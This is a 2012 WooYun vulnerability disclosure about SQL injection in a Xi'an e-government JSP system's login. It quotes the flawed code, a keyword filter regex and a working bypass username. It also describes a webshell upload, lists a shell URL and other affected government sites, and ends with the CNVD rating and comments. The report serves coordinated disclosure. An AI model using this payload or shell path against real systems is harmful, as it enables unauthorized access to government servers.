当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2012-06250

漏洞标题:西安恩科电子政务系统登录过滤不当进后台得shell

相关厂商:西安恩科

漏洞作者: possible

提交时间:2012-04-21 18:25

修复时间:2012-06-05 18:25

公开时间:2012-06-05 18:25

漏洞类型:SQL注射漏洞

危害等级:低

自评Rank:1

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2012-04-21: 细节已通知厂商并且等待厂商处理中
2012-04-24: 厂商已经确认,细节仅向厂商公开
2012-05-04: 细节向核心白帽子及相关领域专家公开
2012-05-14: 细节向普通白帽子公开
2012-05-24: 细节向实习白帽子公开
2012-06-05: 细节向公众公开

简要描述:

西安恩科电子政务系统登录过滤不当进后台得shell

详细说明:

西安恩科电子政务jsp系统,由于对后台登录功能过滤不当,导致存在sql注入,直接可以进入后台。后台上传功能,使用本地白名单验证,直接得jspshell。获得系统权限。
客户端验证代码
function IsValid( oField )
{
re= /select|insert|chr|mid|master|truncate|char|update|or|delete|exec|count|'|"|=|;|>|<|%/i;
$sMsg = "请您不要在参数中输入特殊字符和SQL关键字!"
if ( re.test(oField.value) )
{
alert( $sMsg );
oField.value = '';
oField.focus();
return false;
}
}
可以说防范的很好,可以防止sql注入。但是客户端所做的都是浮云...
后台验证代码checklogin.jsp
if(request.getParameter("userName")!=null){
if(userName.startsWith("<")||(userName.startsWith("<")&&userName.endsWith(">"))||userName.startsWith("'")||userName.startsWith(" ")||userName.contains(" or ")){
out.print("alert('不是有效的帐号,请重新输入!');");
out.print("history.back();");
}else{
在checkuser.class中验证代码:
if ((this.loginName == null) || (this.loginName == "") || (this.userPsd == null) || (this.userPsd == "")) return false;
boolean turnvalue = false;
String sqlString = "select * from tb_sys_userinfo where loginName=" + this.sql.checkNull(this.loginName) +
" and password=" + this.sql.checkNull(this.userPsd);
int i = sqlString.indexOf(" or ");
if (i > 0) {
sqlString = sqlString.replace(" or ", " and ");
}
ResultSet rs = this.sql.getQuery(sqlString);
可以看出整个验证过程,存在sql注入,可以通过简单构造用户名和密码就可以,绕过验证代码,直接登录后台.

漏洞证明:

直接将登录页面,保存到本地,构造登录任意恩科电子政务系统jsp系统代码:
使用用户名test'/**/or/**/ID=1-- 即可登录系统后台(使用ID=1 一般可以保证伪造系统管理员)
如下图所示:



进后台,利用上传得shell.
http://www.xacgb.gov.cn/back/possible.jsp
简单搜索一下 该套系统
http://www.changanqu.gov.cn/back/
http://www.beilin.gov.cn/back
http://www.xachanba.com.cn/back/
http://www.yanta.gov.cn/back/
http://www.xagh.org/back/

修复方案:

前台程序员与后台程序员互换

版权声明:转载请注明来源 possible@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2012-04-24 08:59

厂商回复:

CNVD确认漏洞通用性。将分两步进行处置:一是尝试联系厂商提供漏洞修复方案;二是根据测试情况转由各分中心通知政府部门用户处置。
对漏洞评分如下(以所述利用方式评分):
CVSS:(AV:R/AC:L/Au:NR/C:P/A:N/I:P/B:N) score:6.42(最高10分,中危)
即:远程攻击、攻击难度低、不需要用户认证,对机密性、完整性、可用性造成部分影响。
技术难度系数:1.0(一般,求问源代码哪来的?)
影响危害系数:1.2(一般,主要涉及陕西省西安地区)
CNVD综合评分:6.42*1.0*1.2=7.704

最新状态:

暂无


漏洞评价:

评论

  1. 2012-04-21 21:57 | Z-0ne 认证白帽子 ( 普通白帽子 | Rank:559 漏洞数:38 | 目前专注于工控安全基础研究,工业数据采集...)

    这种问题不在少数

  2. 2012-04-21 23:18 | Valo洛洛 ( 普通白帽子 | Rank:458 漏洞数:52 | 。)

    @Z-0ne 政府安全太差了,哎

  3. 2012-04-22 15:53 | 刺刺 ( 普通白帽子 | Rank:603 漏洞数:52 | 真正的安全并不是技术,而是人类善良的心灵...)

    一个只有10几个人的小公司,濒临倒闭。

  4. 2012-04-23 09:19 | possible ( 普通白帽子 | Rank:373 漏洞数:32 | everything is possible!)

    没啥技术含量,主要是想骗点 rank 呵呵

  5. 2012-04-24 09:12 | possible ( 普通白帽子 | Rank:373 漏洞数:32 | everything is possible!)

    @cncert国家互联网应急中心 这套系统很多bug,其中有一个是任意文件下载,相当于直接看源码。

  6. 2012-06-05 21:05 | _Evil ( 普通白帽子 | Rank:418 漏洞数:59 | 万事无他,唯手熟尔。农民也会编程,别指望天...)

    技术含量高